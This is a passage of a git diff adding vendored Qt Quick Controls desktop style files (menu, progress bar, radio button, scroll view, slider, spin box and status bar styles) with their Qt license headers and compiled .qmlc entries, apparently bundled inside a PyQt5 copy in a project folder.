License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import "." as Desktop + +Style { + id: styleRoot + + property Component background: StyleItem { + elementType: "menubar" + + Component.onCompleted: { + styleRoot.padding.left = pixelMetric("menubarhmargin") + pixelMetric("menubarpanelwidth") + styleRoot.padding.right = pixelMetric("menubarhmargin") + pixelMetric("menubarpanelwidth") + styleRoot.padding.top = pixelMetric("menubarvmargin") + pixelMetric("menubarpanelwidth") + styleRoot.padding.bottom = pixelMetric("menubarvmargin") + pixelMetric("menubarpanelwidth") + } + } + + property Component itemDelegate: StyleItem { + elementType: "menubaritem" + + text: styleData.text + property string plainText: StyleHelpers.removeMnemonics(text) + contentWidth: textWidth(plainText) + contentHeight: textHeight(plainText) + width: implicitWidth + + enabled: styleData.enabled + sunken: styleData.open + selected: (parent && styleData.selected) || sunken + + hints: { "showUnderlined": styleData.underlineMnemonic } + } + + property Component menuStyle: Desktop.MenuStyle { } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qmlc new file mode 100644 index 00000000..c2d86be3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qml new file mode 100644 index 00000000..282860ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qml @@ -0,0 +1,117 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Window 2.1 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + id: styleRoot + + property string __menuItemType: "menuitem" + + property int submenuOverlap: 0 + property int submenuPopupDelay: 0 + property int __maxPopupHeight: 0 + + property Component frame: StyleItem { + elementType: "menu" + + Rectangle { + visible: anchors.margins > 0 + anchors { + fill: parent + margins: pixelMetric("menupanelwidth") + } + color: SystemPaletteSingleton.window(control.enabled) + } + + Component.onCompleted: { + var menuHMargin = pixelMetric("menuhmargin") + var menuVMargin = pixelMetric("menuvmargin") + var menuPanelWidth = pixelMetric("menupanelwidth") + styleRoot.padding.left = menuHMargin + menuPanelWidth + styleRoot.padding.right = menuHMargin + menuPanelWidth + styleRoot.padding.top = menuVMargin + menuPanelWidth + styleRoot.padding.bottom = menuVMargin + menuPanelWidth + styleRoot.submenuOverlap = 2 * menuPanelWidth + styleRoot.submenuPopupDelay = styleHint("submenupopupdelay") + } + + // ### The Screen attached property can only be set on an Item, + // ### and will get its values only when put on a Window. + readonly property int desktopAvailableHeight: Screen.desktopAvailableHeight + Qml.Binding { + target: styleRoot + property: "__maxPopupHeight" + value: desktopAvailableHeight * 0.99 + restoreMode: Binding.RestoreBinding + } + } + + property Component menuItemPanel: StyleItem { + elementType: __menuItemType + + text: styleData.text + property string textAndShorcut: text + (styleData.shortcut ? "\t" + styleData.shortcut : "") + contentWidth: textWidth(textAndShorcut) + contentHeight: textHeight(textAndShorcut) + + enabled: styleData.enabled + selected: styleData.selected + on: styleData.checkable && styleData.checked + + hints: { "showUnderlined": styleData.underlineMnemonic } + + properties: { + "checkable": styleData.checkable, + "exclusive": styleData.exclusive, + "shortcut": styleData.shortcut, + "type": styleData.type, + "scrollerDirection": styleData.scrollerDirection, + "icon": !!__menuItem && __menuItem.__icon + } + } + + property Component scrollIndicator: menuItemPanel + + property Component __scrollerStyle: null +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qmlc new file mode 100644 index 00000000..e1c94ea4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qml new file mode 100644 index 00000000..aa44b1ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + property Component panel: StyleItem { + anchors.fill: parent + elementType: "progressbar" + // XXX: since desktop uses int instead of real, the progressbar + // range [0..1] must be stretched to a good precision + property int factor : 1000 + property int decimals: 3 + value: indeterminate ? 0 : control.value.toFixed(decimals) * factor // does indeterminate value need to be 1 on windows? + minimum: indeterminate ? 0 : control.minimumValue.toFixed(decimals) * factor + maximum: indeterminate ? 0 : control.maximumValue.toFixed(decimals) * factor + enabled: control.enabled + horizontal: control.orientation === Qt.Horizontal + hints: control.styleHints + contentWidth: horizontal ? 200 : 23 + contentHeight: horizontal ? 23 : 200 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qmlc new file mode 100644 index 00000000..239933b1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qml new file mode 100644 index 00000000..c2173878 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + readonly property RadioButton control: __control + property Component panel: Item { + anchors.fill: parent + + implicitWidth: styleitem.implicitWidth + implicitHeight: styleitem.implicitHeight + baselineOffset: styleitem.baselineOffset + + StyleItem { + id: styleitem + elementType: "radiobutton" + anchors.verticalCenter: parent.verticalCenter + anchors.verticalCenterOffset: macStyle ? -1 : 0 + sunken: control.pressed + on: control.checked || control.pressed + hover: control.hovered + enabled: control.enabled + hasFocus: control.activeFocus && styleitem.style == "mac" + hints: control.styleHints + contentHeight: textitem.implicitHeight + contentWidth: Math.ceil(textitem.implicitWidth) + 4 + property int indicatorWidth: pixelMetric("indicatorwidth") + (macStyle ? 2 : 4) + property bool macStyle: (style === "mac") + + Text { + id: textitem + text: control.text + anchors.left: parent.left + anchors.leftMargin: parent.indicatorWidth + anchors.verticalCenter: parent.verticalCenter + anchors.verticalCenterOffset: parent.macStyle ? 2 : 0 + anchors.right: parent.right + renderType: Text.NativeRendering + elide: Text.ElideRight + enabled: control.enabled + color: SystemPaletteSingleton.windowText(control.enabled) + StyleItem { + elementType: "focusrect" + anchors.margins: -1 + anchors.leftMargin: -2 + anchors.top: parent.top + anchors.left: parent.left + anchors.bottom: parent.bottom + width: textitem.implicitWidth + 3 + visible: control.activeFocus + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qmlc new file mode 100644 index 00000000..dfcf4722 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qml new file mode 100644 index 00000000..5fd6e322 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +pragma Singleton +import QtQuick.Controls.Private 1.0 +StyleItem { + elementType: "itemrow" +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qmlc new file mode 100644 index 00000000..abc54eba Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qml new file mode 100644 index 00000000..d8677384 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qml @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + id: root + + padding { + property int frameWidth: __styleitem.pixelMetric("defaultframewidth") + left: frameWidth + top: frameWidth + bottom: frameWidth + right: frameWidth + } + + property StyleItem __styleitem: StyleItem { elementType: "frame" } + + property Component frame: StyleItem { + id: styleitem + elementType: "frame" + sunken: true + visible: control.frameVisible + textureHeight: 64 + textureWidth: 64 + border { + top: 16 + left: 16 + right: 16 + bottom: 16 + } + } + + property Component corner: StyleItem { elementType: "scrollareacorner" } + + readonly property bool __externalScrollBars: __styleitem.styleHint("externalScrollBars") + readonly property int __scrollBarSpacing: __styleitem.pixelMetric("scrollbarspacing") + readonly property bool scrollToClickedPosition: __styleitem.styleHint("scrollToClickPosition") !== 0 + property bool transientScrollBars: false + + readonly property int __wheelScrollLines: __styleitem.styleHint("wheelScrollLines") + + property Component __scrollbar: StyleItem { + anchors.fill:parent + elementType: "scrollbar" + hover: activeControl != "none" + activeControl: "none" + sunken: __styleData.upPressed | __styleData.downPressed | __styleData.handlePressed + minimum: __control.minimumValue + maximum: __control.maximumValue + value: __control.value + horizontal: __styleData.horizontal + enabled: __control.enabled + + implicitWidth: horizontal ? 200 : pixelMetric("scrollbarExtent") + implicitHeight: horizontal ? pixelMetric("scrollbarExtent") : 200 + + onIsTransientChanged: root.transientScrollBars = isTransient + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qmlc new file mode 100644 index 00000000..f122c1fe Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qml new file mode 100644 index 00000000..bba9d54d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + readonly property Item control: __control + property Component panel: StyleItem { + elementType: "slider" + sunken: control.pressed + implicitWidth: 200 + contentHeight: horizontal ? 22 : 200 + contentWidth: horizontal ? 200 : 22 + + maximum: control.maximumValue*100 + minimum: control.minimumValue*100 + step: control.stepSize*100 + value: control.__handlePos*100 + horizontal: control.orientation === Qt.Horizontal + enabled: control.enabled + hasFocus: control.activeFocus + hover: control.hovered + hints: control.styleHints + activeControl: control.tickmarksEnabled ? "ticks" : "" + property int handleWidth: 15 + property int handleHeight: 15 + } + padding { top: 0 ; left: 0 ; right: 0 ; bottom: 0 } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qmlc new file mode 100644 index 00000000..22ed7857 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qml new file mode 100644 index 00000000..50e13ab4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qml @@ -0,0 +1,128 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + readonly property SpinBox control: __control + + padding { + top: control.__panel ? control.__panel.topPadding + (styleitem.style === "mac" ? 2 : 0) : 0 + left: control.__panel ? control.__panel.leftPadding : 0 + right: control.__panel ? control.__panel.rightPadding : 0 + bottom: control.__panel ? control.__panel.bottomPadding : 0 + } + StyleItem {id: styleitem ; visible: false} + + property int renderType: Text.NativeRendering + + property Component panel: Item { + id: style + + property rect upRect + property rect downRect + + property int horizontalAlignment: Qt.platform.os === "osx" ? Qt.AlignRight : Qt.AlignLeft + property int verticalAlignment: Qt.AlignVCenter + + property alias font: styleitem.font + + property color foregroundColor: SystemPaletteSingleton.text(control.enabled) + property color backgroundColor: SystemPaletteSingleton.base(control.enabled) + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + + property int topPadding: edit.anchors.topMargin + property int leftPadding: 3 + edit.anchors.leftMargin + property int rightPadding: 3 + edit.anchors.rightMargin + property int bottomPadding: edit.anchors.bottomMargin + + width: 100 + height: styleitem.implicitHeight + + implicitWidth: 2 + styleitem.implicitWidth + implicitHeight: styleitem.implicitHeight + baselineOffset: styleitem.baselineOffset + + Item { + id: edit + anchors.fill: parent + FocusFrame { + anchors.fill: parent + focusMargin:-6 + visible: spinbox.activeFocus && styleitem.styleHint("focuswidget") + } + } + + function updateRect() { + style.upRect = styleitem.subControlRect("up"); + style.downRect = styleitem.subControlRect("down"); + var inputRect = styleitem.subControlRect("edit"); + edit.anchors.topMargin = inputRect.y + edit.anchors.leftMargin = inputRect.x + edit.anchors.rightMargin = style.width - inputRect.width - edit.anchors.leftMargin + edit.anchors.bottomMargin = style.height - inputRect.height - edit.anchors.topMargin + } + + Component.onCompleted: updateRect() + onWidthChanged: updateRect() + onHeightChanged: updateRect() + + StyleItem { + id: styleitem + elementType: "spinbox" + anchors.fill: parent + sunken: (styleData.downEnabled && styleData.downPressed) || (styleData.upEnabled && styleData.upPressed) + hover: control.hovered + hints: control.styleHints + hasFocus: control.activeFocus + enabled: control.enabled + value: (styleData.upPressed ? 1 : 0) | + (styleData.downPressed ? 1<<1 : 0) | + (styleData.upEnabled ? (1<<2) : 0) | + (styleData.downEnabled ? (1<<3) : 0) + contentWidth: styleData.contentWidth + contentHeight: styleData.contentHeight + textureHeight: implicitHeight + border {top: 6 ; bottom: 6} + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qmlc new file mode 100644 index 00000000..5168139f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qml new file mode 100644 index 00000000..744cff35 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype StatusBarStyle + \internal + \inqmlmodule QtQuick.Controls.Styles +*/ +Style { + + padding.left: 4 + padding.right: 4 + padding.top: 3 + padding.bottom: 2 + + property Component panel: StyleItem { + implicitHeight: 16 + implicitWidth: 200 + anchors.fill: parent + elementType: "statusbar" + textureWidth: 64 + border {left: 16 ; right: 16} + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qmlc new file mode 100644 index 00000000..fc7ebc94 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qml new file mode 100644 index 00000000..719b6331 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qml @@ -0,0 +1,46 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt 